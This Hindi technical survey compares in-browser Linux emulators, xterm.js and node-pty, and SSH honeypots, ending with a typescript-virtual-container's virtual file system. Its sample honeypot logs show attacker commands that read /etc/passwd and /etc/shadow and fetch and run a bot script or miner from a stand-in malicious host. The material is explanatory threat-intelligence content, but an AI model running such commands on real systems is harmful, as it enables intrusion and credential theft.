मूल JSLinux एक शुद्ध JS x86 इंटरप्रेटर था। 2016 में, बेलार्ड ने TinyEMU (C में एक RISC-V एमुलेटर) लिखा, इसे Emscripten के माध्यम से जावास्क्रिप्ट में संकलित किया, और यह वर्तमान JSLinux का आधार बन गया। तो वर्तमान JSLinux वास्तव में C कोड है जो जावास्क्रिप्ट उत्पन्न करता है -- बिल्कुल भी हाथ से लिखा JS नहीं।

बेलार्ड की साइट पर तकनीकी नोट्स पढ़ने लायक हैं: वर्तमान JSLinux RISC-V 32 या 64-बिट CPU (x86 नहीं) चलाता है, VirtIO कंसोल, VirtIO नेटवर्क, VirtIO ब्लॉक डिवाइस, और होस्ट के साथ फ़ाइल साझा करने के लिए 9P फ़ाइल सिस्टम एमुलेट करता है। JS डेमो Emscripten का उपयोग करके C से संकलित किया गया है -- यह हाथ से लिखा JS नहीं है।

TinyEMU स्वयं समर्थन करता है:

  • RISC-V RV32IMAFDQC और RV64IMAFDQC (32 और 64-बिट, फ़्लोटिंग पॉइंट, गुणा, संपीड़ित निर्देशों के साथ)
  • KVM के माध्यम से x86 (केवल नेटिव, कोई एमुलेशन नहीं -- इसलिए JS संस्करण केवल RISC-V है)
  • VirtIO कंसोल, नेटवर्क, ब्लॉक, इनपुट, 9P फ़ाइल सिस्टम

TinyEMU के पास Emscripten के माध्यम से प्रदान की गई एक जावास्क्रिप्ट डेमो है। यह JSLinux का आधार है और container2wasm (अनुभाग 2.5 देखें) द्वारा भी उपयोग किया जाता है।

JSLinux स्थिति: कोई npm पैकेज नहीं, कोई प्रोग्रामेबल API नहीं। यह एक डेमो है जिसे तुम अपने ब्राउज़र में खोलते हो। ऐतिहासिक महत्व बहुत बड़ा है -- इसने अवधारणा को साबित किया। लाइब्रेरी के रूप में व्यावहारिक उपयोगिता: शून्य।

TinyEMU: npm पर नहीं, C स्रोत bellard.org/tinyemu पर उपलब्ध है।


2.3 jor1k -- OR1K एमुलेटर

jor1k Sebastian Macke द्वारा जावास्क्रिप्ट में लिखा गया एक OpenRISC 1000 (OR1K) एमुलेटर है। यह ऐतिहासिक रूप से दिलचस्प है क्योंकि jor1k ने VirtIO 9P फ़ाइल सिस्टम समर्थन पेश किया, जिसे बेलार्ड ने बाद में TinyEMU और JSLinux में शामिल किया। इन परियोजनाओं के बीच क्रॉस-परागण तंग है -- वे सभी एक-दूसरे से चीजें उधार लेते हैं, जो ईमानदारी से ओपन-सोर्स एमुलेशन कार्य की सबसे अच्छी चीजों में से एक है।

स्थिति: अब सक्रिय रूप से अनुरक्षित नहीं, कोई npm पैकेज नहीं। इस स्तर पर संग्रहीत। मुख्य रूप से ऐतिहासिक संदर्भ के लिए जानना उपयोगी है -- जैसे, अगर कोई बातचीत में jor1k का उल्लेख करता है, तो अब तुम जानते हो कि यह क्या है :)


2.4 CheerpX -- ब्राउज़र के लिए वाणिज्यिक x86 एमुलेटर

Leaning Technologies द्वारा CheerpX प्रोडक्शन-गुणवत्ता वाला वाणिज्यिक x86 लिनक्स एमुलेटर है। यह ओपन-सोर्स नहीं है, लेकिन वास्तविक Debian/Ubuntu userspace चलाने के लिए v86 से काफी अधिक सक्षम है। यदि तुम्हें ब्राउज़र में वास्तविक VSCode चाहिए, तो यही तुम्हें चाहिए।

v86 से मुख्य अंतर:

  • व्यापक ISA समर्थन (अधिक x86 एक्सटेंशन, बेहतर glibc संगतता)
  • ब्राउज़र में IndexedDB-आधारित फ़ाइल सिस्टम (पेज रीलोड के बीच स्थायी)
  • SharedArrayBuffer के माध्यम से pthread समर्थन (जिसके लिए COOP/COEP हेडर आवश्यक हैं -- हाँ, वे कष्टप्रद सुरक्षा हेडर)
  • VSCode, Python, Node.js, और अन्य वास्तविक एप्लिकेशन चलाने के लिए डिज़ाइन किया गया -- न कि केवल न्यूनतम OS छवियाँ
  • व्यावसायिक समर्थन और SLA उपलब्ध (उर्फ तुम किसी को डांट सकते हो अगर यह टूटता है)

विशिष्ट उपयोग मामला है "ब्राउज़र में बिना सर्वर के वास्तविक लिनक्स एप्लिकेशन चलाना।" कंपनियाँ इसका उपयोग ब्राउज़र-आधारित IDE, कोडिंग ट्यूटोरियल और इंटरएक्टिव दस्तावेज़ीकरण के लिए करती हैं।

// CheerpX API (सरलीकृत)
const cx = await CheerpX.Linux.create({
  mounts: [{ type: "ext2", path: "/", dev: CloudDevice.create(...) }],
});
await cx.run("/bin/bash");

Node.js के साथ संबंध: CheerpX पहले ब्राउज़र के लिए डिज़ाइन किया गया है। अंतर्निहित एमुलेटर सैद्धांतिक रूप से Node में काम कर सकता है (यह Wasm है), लेकिन API और दस्तावेज़ीकरण पूरी तरह से ब्राउज़र उपयोग पर केंद्रित हैं। सर्वर-साइड उपयोग समर्थित नहीं है।

मेमोरी: v86 के समान -- वास्तविक Debian इंस्टेंस के लिए 200+ MB।
मूल्य निर्धारण: ओपन-सोर्स प्रोजेक्ट्स के लिए मुफ्त, प्रोडक्शन SaaS के लिए वाणिज्यिक लाइसेंस।
डॉक्स: cheerpx.io/docs/overview


2.5 WebContainers (StackBlitz) -- Wasm में Node.js, लिनक्स एमुलेशन नहीं

WebContainers को अक्सर लिनक्स एमुलेटर के साथ एक ही श्रेणी में रखा जाता है लेकिन आर्किटेक्चरली अलग हैं। वे x86 एमुलेट नहीं करते। वे लिनक्स बूट नहीं करते। वे WASI का उपयोग करके WebAssembly में संकलित Node.js चलाते हैं। यह अंतर बहुत मायने रखता है और मैंने इस बारे में भ्रमित होने में काफी समय बिताया lol।

मुझे लगता है कि भ्रम मार्केटिंग से आता है -- "अपने ब्राउज़र में Node.js चलाना" एमुलेशन जैसा लगता है, लेकिन यह वास्तव में Node.js स्वयं Wasm में संकलित है, न कि लिनक्स एमुलेशन जो VM में Node.js चलाता है। बिल्कुल अलग चीज।

आर्किटेक्चर:

  1. Node.js Wasm में संकलित है (विशेष रूप से एक कस्टम WASI रनटाइम)
  2. एक Service Worker एमुलेटेड Node.js सर्वर से नेटवर्क अनुरोधों को इंटरसेप्ट करता है और उन्हें ब्राउज़र टैब पर रूट करता है
  3. फ़ाइल सिस्टम ब्राउज़र मेमोरी में रहता है (कोई डिस्क I/O नहीं)
  4. npm ब्राउज़र उपयोग के लिए अनुकूलित एक कस्टम कार्यान्वयन है
import { WebContainer } from "@webcontainer/api";

const webcontainer = await WebContainer.boot();

// फ़ाइलें लिखना
await webcontainer.mount({
  "index.js": { file: { contents: `console.log("hello")` } },
  "package.json": { file: { contents: `{"name":"demo","type":"module"}` } }
});

// Node.js कमांड चलाना
const proc = await webcontainer.spawn("node", ["index.js"]);
proc.output.pipeTo(new WritableStream({ write: chunk => console.log(chunk) }));

चूँकि यह वास्तविक Node.js (Wasm में संकलित) चलाता है, तुम्हारे पास वास्तविक npm, वास्तविक Node.js API, और वास्तविक मॉड्यूल रिज़ॉल्यूशन है। तुम्हारे पास सामान्य-उद्देश्य लिनक्स userspace नहीं है -- तुम apt से सिस्टम पैकेज स्थापित नहीं कर सकते, मनमाने संकलित बाइनरी नहीं चला सकते, या Node.js इकोसिस्टम के बाहर ज्यादा कुछ नहीं कर सकते।

ब्राउज़र आवश्यकताएँ: SharedArrayBuffer (COOP/COEP हेडर आवश्यक), Service Worker समर्थन, आधुनिक Wasm।

Node.js के साथ संबंध: विशेष रूप से ब्राउज़र उपयोग के लिए डिज़ाइन किया गया। API ब्राउज़र संदर्भ के बाहर काम नहीं करता।

npm: @webcontainer/api
डॉक्स: webcontainers.io


2.6 container2wasm -- डॉकर कंटेनर Wasm में संकलित

container2wasm NTT का एक उपकरण है (npm पैकेज नहीं) जो एक डॉकर कंटेनर इमेज लेता है और इसे WebAssembly बाइनरी में परिवर्तित करता है जो किसी भी Wasm होस्ट पर चल सकता है -- जिसमें ब्राउज़र भी शामिल है। जब मैंने पहली बार यह देखा, तो मुझे वास्तव में विश्वास नहीं हुआ कि यह काम करता है।

तंत्र:

  • x86_64 कंटेनरों के लिए: Bochs (x86 एमुलेटर, Wasm में संकलित) + कंटेनर की रूट फ़ाइल सिस्टम एम्बेड करता है
  • riscv64 कंटेनरों के लिए: TinyEMU (फिर से बेलार्ड!) + कंटेनर की रूट फ़ाइल सिस्टम एम्बेड करता है
  • परिणामी .wasm फ़ाइल एमुलेटर शुरू करती है, कंटेनर की फ़ाइल सिस्टम माउंट करती है, और कंटेनर का एंट्री पॉइंट निष्पादित करती है
# Ubuntu 22.04 कंटेनर को Wasm में बदलना
c2w ubuntu:22.04 out.wasm

# इसे चलाना
wasmtime out.wasm uname -a
# Linux 5.15.0 #1 SMP riscv64 GNU/Linux

# या ब्राउज़र उपयोग के लिए इसे सर्व करना
c2w --to-js ubuntu:22.04 /tmp/htdocs/

परिणामी .wasm बड़ा है -- न्यूनतम Ubuntu कई सौ MB का है -- लेकिन यह पूरी तरह से स्व-निहित है। तुम किसी को ईमेल से .wasm भेज सकते हो और वे अपने ब्राउज़र में Ubuntu चला सकते हैं। इस वाक्य का कोई मतलब नहीं होना चाहिए लेकिन यहाँ हम हैं।

GitHub: container2wasm/container2wasm


एमुलेटर परिवार का सारांश

v86 JSLinux/TinyEMU jor1k CheerpX WebContainers container2wasm
आर्किटेक्चर x86-32 JIT→Wasm RISC-V (Wasm) OR1K (JS) x86 (मालिकाना) Node.js→Wasm/WASI x86/RISC-V (Wasm)
वास्तविक कर्नेल ✅ ✅ ✅ ✅ ❌ (Node.js) ✅
64-बिट ❌ ✅ (RISC-V) ❌ ✅ n/a ✅
npm पैकेज ✅ ❌ ❌ CDN/API ✅ ❌ (CLI टूल)
Node.js उपयोग ✅ ❌ ❌ ❌ ❌ (केवल ब्राउज़र) Wasmtime के माध्यम से
ब्राउज़र उपयोग ✅ ✅ ✅ ✅ ✅ ✅
RAM/इंस्टेंस 150-256 MB ~64-128 MB ~64 MB 200+ MB ~100 MB ~200-500 MB
बूट समय 15-40s 10-30s 10-30s 15-40s 2-5s 10-40s
ओपन सोर्स ✅ ✅ ✅ ❌ आंशिक ✅
स्थिति ✅ बहुत सक्रिय ✅ स्थिर ⚠️ संग्रहीत ✅ वाणिज्यिक ✅ सक्रिय ✅ सक्रिय

इस तालिका में जो स्पष्ट है: v86 अकेला है जो npm पैकेज है, ब्राउज़र और Node दोनों में चलता है, और ओपन-सोर्स है। यही कारण है कि यह "जावास्क्रिप्ट में लिनक्स एमुलेटर" पर बातचीत पर हावी है। बाकी सब में एक कमी है -- JSLinux के पास API नहीं है, jor1k संग्रहीत है, CheerpX की कीमत है, WebContainers केवल-ब्राउज़र और Node-विशिष्ट है, container2wasm को बिल्ड स्टेप और CLI की आवश्यकता है। यदि तुम्हें बस "जावास्क्रिप्ट में लिनक्स शुरू करना" है, तो v86 लगभग हमेशा सही शुरुआती बिंदु है।


भाग 3 -- टर्मिनल स्टैक: xterm.js और node-pty

दो पैकेज बार-बार सामने आते हैं जब लोग शेल-जैसे अनुभव बनाते हैं। ये सैंडबॉक्स या एमुलेटर नहीं हैं -- ये UI और PTY प्लंबिंग हैं -- लेकिन वे इतने संबंधित हैं कि मुझे उन्हें छोड़ने में बुरा लगेगा। साथ ही, मैंने दोनों का उपयोग किया है और वे वास्तव में अच्छे हैं।

3.1 xterm.js -- टर्मिनल रेंडरिंग

xterm.js ब्राउज़र के लिए एक टर्मिनल एमुलेटर है। यह एक <canvas> तत्व में एक टर्मिनल स्क्रीन (VT100/xterm एस्केप अनुक्रम) प्रदर्शित करता है, कीबोर्ड इनपुट संभालता है, और डेटा रूटिंग के लिए एक API उजागर करता है।

द्वारा उपयोग किया गया: VS Code का अंतर्निहित टर्मिनल, Azure Cloud Shell, Proxmox VE, AWS CloudShell, और कई अन्य।

import { Terminal } from "@xterm/xterm";
import { FitAddon } from "@xterm/addon-fit";

const term = new Terminal({ cursorBlink: true });
const fitAddon = new FitAddon();
term.loadAddon(fitAddon);
term.open(document.getElementById("terminal"));
fitAddon.fit();

// टर्मिनल को डेटा भेजना (पाठ के रूप में प्रदर्शित)
term.write("$ ");
term.onData(data => {
  // data कीस्ट्रोक्स हैं -- अपने बैकएंड को भेजें
  socket.send(data);
});
socket.onmessage(msg => {
  // बैकएंड से आउटपुट -- इसे प्रदर्शित करें
  term.write(msg.data);
});

xterm.js केवल रेंडरिंग लेयर है। यह शेल नहीं चलाता। यह कमांड की व्याख्या नहीं करता। यह एक डिस्प्ले विजेट है जिसे तुम अपनी पसंद के बैकएंड से जोड़ते हो। बहुत से लोग सोचते हैं कि xterm.js "टर्मिनल बनाता है" लेकिन यह वास्तव में सिर्फ स्क्रीन है -- तुम्हें अभी भी इसे किसी ऐसी चीज़ से जोड़ना है जो वास्तव में कमांड चलाती है।

npm: @xterm/xterm
GitHub: xtermjs/xterm.js


3.2 node-pty -- PTY निर्माण

node-pty Node.js में एक स्यूडोटर्मिनल (PTY) बनाता है और तुम्हें उस पर एक रीड/राइट हैंडल देता है। xterm.js के साथ उपयोग किया जाता है, यह एक ब्राउज़र टर्मिनल बनाने की अनुमति देता है जो सर्वर पर चल रहे वास्तविक शेल (bash, zsh, fish) से बात करता है।

import * as pty from "node-pty";

const shell = pty.spawn("bash", [], {
  name: "xterm-color",
  cols: 80,
  rows: 30,
  cwd: process.env.HOME,
  env: process.env,
});

shell.onData(data => {
  // WebSocket के माध्यम से ब्राउज़र xterm.js को भेजें
  ws.send(data);
});

ws.on("message", data => {
  // ब्राउज़र से कीस्ट्रोक्स को शेल में अग्रेषित करें
  shell.write(data);
});

यह क्लाउड IDE और वेब टर्मिनलों के लिए मानक पैटर्न है: xterm.js (ब्राउज़र) ↔ WebSocket ↔ node-pty ↔ वास्तविक bash। कोई आइसोलेशन नहीं। शेल Node.js प्रक्रिया (या इसे लॉन्च करने वाले उपयोगकर्ता) के सभी अनुमतियों के साथ चलता है।

द्वारा अनुरक्षित: Microsoft।
npm: node-pty
GitHub: microsoft/node-pty


भाग 4 -- SSH हनीपॉट

हनीपॉट पर हमला होने के लिए डिज़ाइन किए गए हैं। लक्ष्य इतना वास्तविक दिखना है कि हमलावर उनके साथ बातचीत करें, जबकि वे जो कुछ भी करते हैं उसे थ्रेट इंटेलिजेंस के लिए रिकॉर्ड करें। SSH प्राथमिक लक्ष्य है क्योंकि यह इंटरनेट पर सबसे अधिक हमला किया जाने वाला सेवा है -- यदि तुम सार्वजनिक IP पर पोर्ट 22 खोलते हो, तो तुम सचमुच मिनटों में स्वचालित स्कैनिंग प्रयास देखोगे। एक दिन कोशिश करो, यह देखकर काफी डर लगता है कि यह कितनी जल्दी होता है।

हनीपॉट की गुणवत्ता दो चीजों से मापी जाती है: निष्ठा (यह कितनी विश्वसनीय रूप से वास्तविक सिस्टम की नकल करता है) और टेलीमेट्री (यह कितना उपयोगी डेटा कैप्चर करता है)। ये दोनों चीजें तनाव में हैं। एक उच्च-निष्ठा हनीपॉट बनाना अधिक कठिन और संचालित करने में अधिक जोखिम भरा है।

यह खंड वह है जिसने अंततः मुझे typescript-virtual-container में HoneyPot मॉड्यूल बनाने के लिए प्रेरित किया, इसलिए मेरी यहाँ कुछ राय हैं।

4.1 Cowrie -- स्वर्ण मानक

Cowrie एक मध्यम-से-उच्च अंतःक्रिया SSH और Telnet हनीपॉट है जो Python में आधारित है। यह अनुसंधान और सुरक्षा समुदाय में सबसे अधिक तैनात SSH हनीपॉट है।

आर्किटेक्चर:

  • प्रोटोकॉल लेयर: वास्तविक SSH प्रोटोकॉल कार्यान्वयन (Twisted Conch), इसलिए हमलावरों को वास्तविक हैंडशेक, वास्तविक कुंजी विनिमय, वास्तविक प्रमाणीकरण मिलता है
  • शेल लेयर: एक नकली फ़ाइल सिस्टम (Debian 5.0 जैसा दिखता है) और एक आंशिक शेल इंटरप्रेटर जो सामान्य कमांड का जवाब देता है
  • प्रॉक्सी मोड: वास्तविक सिस्टम के पीछे अग्रेषित कर सकता है (उच्च अंतःक्रिया मोड), गुजरने वाली हर चीज़ को रिकॉर्ड करते हुए
  • LLM मोड (हालिया जोड़): उन कमांडों के लिए गतिशील प्रतिक्रिया उत्पन्न करने के लिए भाषा मॉडल का उपयोग करता है जिन्हें वह संभालना नहीं जानता -- हाँ, Cowrie के पास अब AI मोड है। हम एक पागल युग में जी रहे हैं।
# Cowrie क्या कैप्चर करता है
{
  "timestamp": "2024-01-15T03:22:11.847Z",
  "src_ip": "45.33.32.156",
  "username": "root",
  "password": "123456",
  "session": "abc123",
  "commands": [
    "uname -a",
    "cat /etc/passwd",
    "wget http://malicious.example/bot.sh",
    "chmod +x bot.sh",
    "./bot.sh"
  ],
  "files_downloaded": ["bot.sh"]
}

Cowrie डाउनलोड की गई फ़ाइलों (wget/curl/SFTP/SCP के माध्यम से) को मैलवेयर विश्लेषण के लिए सहेजता है। यह Splunk, Elasticsearch, और अन्य SIEM प्लेटफ़ॉर्म के साथ एकीकृत होता है।

निष्ठा: मध्यम-उच्च। स्वचालित बॉट्स को धोखा देने के लिए पर्याप्त विश्वसनीय (जो 99% SSH हमलावर हैं -- अधिकांश सिर्फ बेवकूफ स्क्रिप्ट हैं जो root/password आज़माती हैं)। परिष्कृत मनुष्य इसे फिंगरप्रिंटिंग द्वारा पहचान सकते हैं, आमतौर पर काफी जल्दी।

भाषा: Python (Twisted)
GitHub: cowrie/cowrie


4.2 Kippo -- Cowrie का पूर्ववर्ती

Kippo मूल मध्यम-अंतःक्रिया SSH हनीपॉट था जिस पर Cowrie आधारित था। वही मूल विचार: वास्तविक SSH प्रोटोकॉल, नकली फ़ाइल सिस्टम, आंशिक शेल। Cowrie ने इस स्तर पर इसे पूरी तरह से बदल दिया है -- Kippo संग्रहीत है और 2026 में किसी को इसका उपयोग नहीं करना चाहिए। विशुद्ध रूप से ऐतिहासिक पूर्णता के लिए यहाँ उल्लेख किया गया है, क्योंकि तुम इसे पुराने ब्लॉग पोस्ट और सुरक्षा पेपरों में संदर्भित देख सकते हो।

GitHub: desaster/kippo -- संग्रहीत


4.3 endlessh -- SSH टारपिट

endlessh एक विकृत हनीपॉट है: यह बैनर डेटा को धीरे-धीरे 1 बाइट प्रति सेकंड (या उससे कम) पर स्ट्रीम करके SSH कनेक्शन को खुला रखता है। इससे जुड़ने वाला SSH क्लाइंट अनिश्चित काल के लिए अटक जाएगा -- यह कभी प्रमाणीकरण तक नहीं पहुँच पाएगा क्योंकि सर्वर बैनर भेजना कभी खत्म नहीं करता।

लक्ष्य थ्रेट इंटेलिजेंस नहीं बल्कि शुद्ध संसाधन अस्वीकार है: हमलावरों के स्कैन थ्रेड्स को व्यस्त रखना ताकि वे वास्तविक लक्ष्यों तक उतनी जल्दी न पहुँच सकें। यह ईमानदारी से अच्छे तरीके से थोड़ा शैतानी है। तुम हमलावर के बारे में कुछ नहीं सीखते -- तुम बस उनका समय बर्बाद करते हो। इसमें कुछ गहराई से संतोषजनक है।

// endlessh का संपूर्ण प्रोटोकॉल व्यवहार:
// भेजें: "SSH-2.0-OpenSSH_" फिर धीरे-धीरे यादृच्छिक वर्ण जोड़ें
// कनेक्शन कभी बंद न करें
// हमलावर का स्कैनर N सेकंड के बाद टाइमआउट करता है

कोई कमांड कैप्चर नहीं की जाती। कोई प्रमाणीकरण परीक्षण नहीं किया जाता। बस कनेक्शन समय।

में लिखा गया: C
GitHub: skeeto/endlessh


4.4 sshesame -- "सभी को अंदर आने दो" हनीपॉट

sshesame सभी SSH कनेक्शन स्वीकार करता है (कोई भी उपयोगकर्ता, कोई भी पासवर्ड, कोई भी कुंजी) और सब कुछ लॉग करता है। यह एक शून्य-अंतःक्रिया हनीपॉट है: यह कमांड का जवाब नहीं देता, यह बस हमलावरों को "अंदर आने देता है" और वे जो भी कीस्ट्रोक टाइप करते हैं उसे रिकॉर्ड करता है।

2024-01-15 03:22:11 45.33.32.156 से कनेक्शन
  उपयोगकर्ता: root, पासवर्ड: password123 -- स्वीकृत
  टाइप किए गए कमांड:
    cat /etc/shadow
    wget http://malicious.example/miner
    uname -a
  47 सेकंड के बाद डिस्कनेक्ट

क्रेडेंशियल संग्रह के लिए उपयोगी: तुम जल्दी से उन उपयोगकर्ता नामों और पासवर्डों को जमा करते हो जो बॉट आज़माते हैं, जो तुम्हें बताता है कि वर्तमान में कौन से डिफ़ॉल्ट क्रेडेंशियल सक्रिय रूप से ब्रूटफ़ोर्स किए जा रहे हैं। स्पॉइलर: यह हमेशा root/password, admin/admin, और root/123456 होता है। हर बार।

GitHub: jaksi/sshesame


4.5 Lyrebird -- डॉकर-आधारित हनीपॉट फ्रेमवर्क

lyrebird/honeypot-base नेटवर्क सेवा हनीपॉट बनाने के लिए एक डॉकर बेस इमेज है। यह विशेष रूप से SSH हनीपॉट नहीं है -- यह किसी भी प्रोटोकॉल के लिए हनीपॉट बनाने का एक फ्रेमवर्क है।

बेस इमेज एक लॉगिंग फ्रेमवर्क, प्रोटोकॉल के लिए प्लगइन सिस्टम, और मल्टी-सर्विस हनीपॉट के लिए डॉकर Compose कॉन्फ़िगरेशन प्रदान करती है। तुम इसे विशिष्ट सेवाओं का अनुकरण करने के लिए विस्तारित करते हो।

Docker Hub: lyrebird/honeypot-base


4.6 Node.js में SSH हनीपॉट बनाना -- भोला तरीका, और यह क्यों विफल होता है

typescript-virtual-container से पहले, Node.js में SSH हनीपॉट बनाने का मतलब था वास्तविक ssh2 लाइब्रेरी को मैन्युअल कमांड सिमुलेशन के साथ जोड़ना। बहुत थकाऊ, बहुत अधूरा, लेकिन... इस स्तर पर यह एक आवश्यक मार्ग है:

import { Server } from "ssh2";
import { readFileSync } from "fs";
import { appendFileSync } from "fs";

const hostKey = readFileSync("./host.key");

new Server({ hostKeys: [hostKey] }, client => {
  client.on("authentication", ctx => {
    // प्रयास लॉग करना
    appendFileSync("creds.log", `${ctx.username}:${ctx.credentials?.password}\n`);
    ctx.accept(); // सभी को अंदर आने दें
  });

  client.on("ready", () => {
    client.on("session", (accept) => {
      const session = accept();
      session.on("shell", accept => {
        const stream = accept();
        stream.write("Last login: Mon Jan 15 03:00:00 2024 from 10.0.0.1\r\n");
        stream.write("root@ubuntu:~# ");
        stream.on("data", data => {
          const cmd = data.toString().trim();
          appendFileSync("commands.log", `${cmd}\n`);
          // सिम्युलेटेड प्रतिक्रिया
          if (cmd === "uname -a") {
            stream.write("\r\nLinux ubuntu 5.15.0-91-generic #101-Ubuntu x86_64 GNU/Linux\r\n");
          } else {
            stream.write(`\r\n${cmd}: command not found\r\n`);
          }
          stream.write("root@ubuntu:~# ");
        });
      });
    });
  });
}).listen(2222);

यह इस अर्थ में "काम करता है" कि यह क्रेडेंशियल और कमांड कैप्चर करता है। लेकिन यह स्पष्ट रूप से नकली है जैसे ही कोई परिष्कृत हमलावर थोड़ा खोदता है। uname -a सही स्ट्रिंग लौटाता है लेकिन ls /etc "command not found" लौटाता है -- यह दूर से जाल की तरह महकता है। फ़ाइल सिस्टम मौजूद नहीं है। कमांड श्रृंखलाबद्ध नहीं होते। पाइप काम नहीं करते। वेरिएबल का विस्तार नहीं होता।

एक कुशल हमलावर तुम्हारे हनीपॉट को पहले पाँच कमांड के भीतर पहचान लेगा। स्वचालित स्क्रिप्ट जो Cowrie-जैसे व्यवहार की तलाश करती हैं, वे भी इसे तुरंत पहचान लेंगी। यह स्पष्ट रूप से वही है जिसने typescript-virtual-container की लेखिका को कुछ ऐसा बनाने के लिए प्रेरित किया जो वास्तव में कमांड की व्याख्या करता है -- भाग 5 में इसके बारे में और अधिक।


हनीपॉट परिवार का सारांश

Cowrie Kippo endlessh sshesame Lyrebird भोला ssh2
अंतःक्रिया स्तर मध्यम-उच्च मध्यम शून्य शून्य परिवर्तनीय निम्न
वास्तविक SSH प्रोटोकॉल ✅ ✅ ❌ (टारपिट) ✅ परिवर्तनीय ✅
शेल निष्ठा मध्यम मध्यम n/a कोई नहीं परिवर्तनीय न्यूनतम
क्रेडेंशियल कैप्चर ✅ ✅ ❌ ✅ ✅ ✅
कमांड कैप्चर ✅ ✅ ❌ ✅ परिवर्तनीय ✅
मैलवेयर कैप्चर ✅ ✅ ❌ ❌ ❌ ❌
SIEM एकीकरण ✅ नेटिव ❌ ❌ ❌ ❌ मैन्युअल
LLM प्रतिक्रियाएँ ✅ (नया) ❌ ❌ ❌ ❌ ❌
भाषा Python Python C Go Docker Node.js
नेटिव Node.js ❌ ❌ ❌ ❌ ❌ ✅
स्थिति ✅ बहुत सक्रिय ⚠️ संग्रहीत ✅ सक्रिय ✅ सक्रिय ✅ सक्रिय DIY

यहाँ पैटर्न काफी स्पष्ट है: जितनी अधिक निष्ठा तुम चाहते हो, उतना ही अधिक Python तुम्हें लिखना होगा। यदि तुम इसे गंभीरता से कर रहे हो तो Cowrie निर्विवाद विजेता है -- यह वर्षों से फील्ड-परीक्षण किया गया है और सिर्फ क्रेडेंशियल से कहीं अधिक कैप्चर करता है। endlessh और sshesame गंभीर थ्रेट इंटेलिजेंस उपकरणों की तुलना में अच्छे साइड प्रोजेक्ट हैं। और Node.js में भोला दृष्टिकोण तुम्हें शायद 20% रास्ते तक ले जाता है इससे पहले कि तुम एक दीवार से टकराओ।


भाग 5 -- typescript-virtual-container: जो खाई को पाटता है

ठीक है तो अब चीजें दिलचस्प हो जाती हैं। ऊपर सभी परिवारों को सूचीबद्ध करने के बाद, गायब चतुर्थांश काफी स्पष्ट हो जाता है:

  • JS सैंडबॉक्स: कोड को अलग करते हैं, कोई शेल नहीं, कोई फ़ाइल सिस्टम नहीं, कोई SSH नहीं
  • लिनक्स एमुलेटर: वास्तविक OS, वास्तविक शेल, वास्तविक SSH... लेकिन 150+ MB RAM, 30 सेकंड बूट समय, और तुम्हें सीरियल I/O के ऊपर अपना स्वयं का API बनाना होगा
  • हनीपॉट: नकली शेल, कोई प्रोग्रामेबल API नहीं, Python/Go/C, नेटिव Node नहीं

किसी ने पूर्ण, प्रोग्रामेबल, नेटिव Node लिनक्स वातावरण नहीं बनाया था जिसमें वास्तविक SSH, वास्तविक अनुमतियाँ, वास्तविक वर्चुअल नेटवर्क, और टाइप की गई TypeScript API हो। तो उसने इसे बनाया।

छोटा परिचय क्योंकि यह पहली बार है जब मैंने उसका ठीक से उल्लेख किया है: typescript-virtual-container को Chloé Rolzhausen ने बनाया था, एक फ्रांसीसी डेवलपर जो ऑनलाइन Fortune (या ItsRealFortune) कहलाती है। तुम उसे उसकी वेबसाइट और LinkedIn पर पा सकते हो। पूरा प्रोजेक्ट -- 56,000 लाइनें TypeScript, 247 फ़ाइलें, 170 कमांड -- एक ही व्यक्ति द्वारा एकल प्रयास था। मैं बाकी लेख में उसे Fortune कहूँगा। और हाँ, यह काफी पागलपन है। उसके काम पर एक नज़र डालो!

यह वास्तव में क्या है

typescript-virtual-container शुद्ध TypeScript में लिखा गया एक लिनक्स वातावरण सिमुलेटर है। कोई Wasm नहीं। कोई नेटिव एक्सटेंशन नहीं। कोई कर्नेल नहीं। ~56,000 लाइनों का स्रोत 247 TypeScript फ़ाइलों में फैला हुआ है।

मुख्य अंतर्दृष्टि: तुम्हें ls /etc | grep passwd चलाने के लिए CPU एमुलेटर की आवश्यकता नहीं है। तुम्हें चाहिए:

  1. मेमोरी में नोड्स का एक पेड़ जो पथ संचालन का जवाब देता है
  2. प्रत्येक एक्सेस पर लागू POSIX अनुमति मॉडल
  3. एक शेल पार्सर जो पाइपलाइन, रीडायरेक्शन, सबशेल और वेरिएबल विस्तार को समझता है
  4. ~170 कमांड कार्यान्वयन (फ़ंक्शन, बाइनरी नहीं)
  5. उपयोगकर्ता और समूह प्रबंधन प्रणाली
  6. SSH के माध्यम से यह सब उजागर करने के लिए कुछ

यह सब बिना किसी कर्नेल भागीदारी के शुद्ध TypeScript में प्राप्त करने योग्य है।

VirtualFileSystem

VFS टाइप किए गए नोड्स का एक मेमोरी-आंतरिक पेड़ है -- जब तक तुम स्पष्ट रूप से "fs" स्थिरता मोड सक्षम नहीं करते, कोई डिस्क I/O नहीं:

// सरलीकृत आंतरिक प्रतिनिधित्व
type InternalNode =
  | { type: "file"; content: string | Uint8Array; mode: number; uid: number; gid: number; mtime: number }
  | { type: "dir"; children: Map<string, InternalNode>; mode: number; uid: number; gid: number }
  | { type: "symlink"; target: string }
  | { type: "device"; kind: "char" | "block"; read(): string; write(data: string): void }
  | { type: "stub" }; // आलसी रूप से लोड किया गया प्लेसहोल्डर

प्रत्येक पथ संचालन normalizePath (., .., सिमलिंक हल करता है) और enforceAccess (अनुरोधकर्ता uid/gid के विरुद्ध पढ़ने/लिखने/निष्पादित करने की अनुमतियाँ जाँचता है) से होकर गुजरता है। chmod, chown, स्टिकी बिट्स और setuid सभी लागू हैं और वास्तव में लागू होते हैं। यदि uid 1000 के रूप में चल रही कोई प्रक्रिया मोड 0600 के साथ root के स्वामित्व वाली फ़ाइल पढ़ने की कोशिश करती है, तो उसे EACCES मिलता है -- कोई नकली EACCES नहीं, अनुमति जाँच से फेंकी गई एक वास्तविक जावास्क्रिप्ट Error। यह भाग ईमानदारी से काफी सुंदर है।

VFS इसमें सीरियलाइज़ होता है:

  • .vfsb -- एक कॉम्पैक्ट बाइनरी प्रारूप (कस्टम, fflate संपीड़न के साथ) -- यह डिफ़ॉल्ट प्रारूप है
  • JSON स्नैपशॉट -- मानव-पठनीय, डिबगिंग के लिए अच्छा
  • TAR आर्काइव -- वास्तविक tar प्रारूप के साथ आयात/निर्यात, इसलिए तुम tar -xf कुछ कर सकते हो और VFS में बस... वे फ़ाइलें हैं
  • SquashFS इमेज -- केवल-पढ़ने के लिए आयात

